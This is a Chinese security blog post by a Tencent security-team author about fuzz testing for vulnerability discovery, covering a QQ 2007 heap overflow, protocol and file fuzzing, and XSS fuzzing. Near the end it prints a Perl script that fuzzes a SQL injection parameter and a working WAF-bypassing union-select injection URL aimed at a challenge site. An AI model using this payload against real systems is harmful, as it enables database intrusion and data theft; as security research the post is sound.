1. <dd id="au9n3"></dd>
    2. <tbody id="au9n3"><pre id="au9n3"></pre></tbody>

      <dd id="au9n3"><center id="au9n3"></center></dd>
    3. En

      Fuzz漏洞挖掘漫談

      作者:lake2[TSRC]公布時間:2013-11-12閱讀次數:37532評論:8

      分享

              在計算機領域,Fuzz Testing(模糊測試)是一種測試方法,即構造一系列無規則的“壞”數據插入應用程序,判斷程序是否出現異常,以發現潛在的bug。在信息安全領域,也有人嘗試引入fuzz testing思想進行安全漏洞挖掘,而且效果不錯。

              大家可以看到,fuzz安全測試理論和應用都已經較為成熟,已有各種fuzz安全測試的框架、工具甚至書籍問世。

              初識fuzz的威力是在07年。當時來自team509安全團隊的wushi發現了QQ的一個溢出漏洞,wushi本著“負責任的漏洞披露過程”將漏洞細節告知了騰訊安全團隊。為此,騰訊還專門發布了一個安全公告(http://im.qq.com/safe/affiche/2007/20071015.shtml)。這應該是騰訊的第一個漏洞安全公告,奠定了騰訊未來的安全漏洞應急響應基礎,具有劃時代的意義。當然,這些都是另一個話題了。

              原來在當時的QQ 2007的遠程協助模塊在解包的過程中沒有對傳入的數據進行校驗,結果就產生了溢出。如圖所示就是發生堆溢出的匯編代碼,我們可以看到memcpy函數三個參數外部均可以控制導致產生了堆溢出漏洞。攻擊者可以構造特殊的數據包觸發這個漏洞,wushi提供的PoC可以直接令遠程協助的對方QQ崩潰。



       

              真是個威力巨大的漏洞!本著“知其然知其所以然”的原則,漏洞處理完后我們請教wushi是如何發現的,wushi只輕描淡寫地說了一個英文單詞——fuzz!

              從wushi的思路得到啟發,騰訊安全團隊也著手研究協議fuzz。

              為了迅速排查類似漏洞,我們先使用了Python腳本進行“小步快跑”式的協議fuzz。QQ支持HTTP代理,我們就用一個Python寫的HTTP代理讓測試QQ A通過這個代理與測試QQ B進行通信,這個Python代理就負責按照一定規則修改經過的指定格式的數據(也就是指定模型的fuzz啦)。果然,我們又在QQ 2007的遠程協助、視頻通話、音頻通話模塊中發現了數個遠程溢出漏洞,均及時得以修復。

              使用HTTP代理只是權宜之計,因為不是所有的協議都支持HTTP代理,而且有些漏洞可能存在于原始協議中,于是我們又開發了一個基于Windows的協議fuzz程序。大致思路是通過DLL注入的方式hook某個進程調用的各個Socket發送函數,通過更改傳輸的數據進行fuzz。效果和Python殊途同歸,但適用范圍要大些。

              這種在原有協議上進行fuzz的好處在于可以“智能的”進行fuzz(smart fuzz),避免了大量的無用功。試想,如果協議不對數據包本身就被丟棄了,毫無規則的fuzz(blind fuzz)會浪費大量人力物力。當然,有些漏洞本身可能就會出現在不符合協議的數據處理中。如果時間允許,全fuzz也是有必要的。

              文件fuzz也是類似的思路。以JPG格式為例,只需要先找一些正常jpg文件做樣本生成JPG模版,再對模版中的數據格式進行各種fuzz,生成fuzz樣本,然后用程序逐個打開這些樣本,看是否產生異常。

              類似的fuzz框架/工具也很多,如Sulley、PaiMei、TAOF,都很高端上流,有興趣的同學自行百度之,在此不贅述。

              Web漏洞也是可以用fuzz思想來挖掘的。

              比如挖掘HTML5新特性的XSS攻擊代碼,最好的辦法就是fuzz。先枚舉瀏覽器支持的HTML5的各種屬性方法,賦值之后觀察是否alert。對一些類XSS Filter(Web Mail)的漏洞挖掘也是基于這種思路。

              前段時間安全寶搞了個繞過WAF的活動,我也體驗了一把,用fuzz的方法發現一個繞過方法。

              我們都知道WAF是先于Web應用解析外部參數的,如果認為惡意就會攔截,但是WAF和Web應用如果對外部數據處理不一致就會存在繞過WAF的情況。要想繞過WAF,只需要找到WAF認為不是惡意但是又能對Web應用產生攻擊的特殊字符串。

              當時我測試時安全寶的WAF時發現如果URL中含有“and”、“[空格]and[空格]”、“[TAB]and[TAB]”等都會被過濾(攔截的特征為HTTP 405),只要我能找到一個字符讓WAF認為無問題,但是MySQL能知道是空格就好。

              怎么辦?盲目猜是沒有意義且低效的。那么就fuzz吧。把ASCII碼1到255都窮舉一遍看看。于是一個Perl腳本應運而生:


      use LWP 5.64;
      $browser = LWP::UserAgent->new;
      for($i=0;$i<256;$i++){
      	$j = data10to16($i);
      	print "[+]  $j  ". hex($j) ."  ". chr(hex($j)) ." \n";
      	$url = "http://secaqb.anquanbao.org/sqlin.php?id=9 and%".$j."1=1";
      	$response = $browser->get($url);
      	print "[-] code ".$response->status_line."\n";
      	if($response->content=~/www\.cnseay\.com/is){ print "[$] done ! ========================>\n"; }
      	sleep(1);
      }
      sub data10to16{
       my($data)=@_;
       my $data16=sprintf("x", $data); 
       return $data16;
      }
      


              運行腳本然后喝一杯咖啡,然后看結果,果然發現ASCII碼11的字符(URL編碼)可以繞過安全寶WAF的攔截并且MySQL認為是代替空格的字符。如圖。




              然后利用union查詢時發現如果URL出現“1,1,1,1”字樣也會被攔截,測試發現加幾個空格就可以繞過。形式如“select 1, 1, 1, 1”。

              所以結合這兩個bug,構造這樣的URL就可以讀取到數據庫user為seay@localhost:http://secaqb.anquanbao.org/sqlin.php?id=9 and1=2 unionselect1,user(), 3 ,4

              看,這就是fuzz的威力。

              順道提下,安全寶搞的WAF繞過活動應該收到很多bug,更新了很多繞過方法,這對于一個以安全技術為核心競爭力的產品來說實在是事半功倍。



      評論留言

      提交評論 您輸入的漏洞名稱有誤,請重新輸入
      放荡的寡妇